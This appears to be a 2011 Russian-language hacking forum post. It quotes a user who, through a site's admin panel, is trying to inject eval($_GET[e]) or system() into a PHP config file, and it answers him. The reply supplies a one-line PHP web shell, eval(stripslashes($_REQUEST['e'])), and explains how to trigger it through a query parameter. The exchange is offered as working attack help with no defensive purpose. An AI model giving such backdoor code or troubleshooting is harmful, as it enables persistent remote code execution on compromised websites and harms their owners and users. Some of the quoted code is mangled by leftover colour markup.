
20.07.2011, 16:04
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
Сообщение от Sloneny
к index.php подключается
include('includes/header.php');
строки из
header.php
PHP код:
[COLOR="#000000"][/COLOR]" />
[/COLOR]" />[/COLOR]
значения
$hc_cfg6
и
$hc_cfg5;
берутся из таблицы в файле
config.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$hc_cfg5[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"12345"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$hc_cfg6[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"123"[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
через админку в файл
config.php
удается прописать
eval($_GET[e]);
результат
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
но
?e=phpinfo();
выводит пустую страницу.
(если прописать system($_GET['e']); весь сайт накрывается ошибкой
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /home/******/public_html/******/******/config.php on line 9
если прописать то в index.php выглядит так
PHP код:
[COLOR="#000000"][/COLOR]" />[/COLOR]
Подскажите пожалуйста где я ошибся? Или что делаю не так?
ты сначало убедись что пхп работает как надо, пропеши команду
Сообщение от None
echo "123";
если там где вставил , будет вывод 123, значит робит норм, встовляй тогда где тебе нужно вот этот код:
Сообщение от None
if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));
и вызываешь еко так "?e=phpinfo();"
|
|
|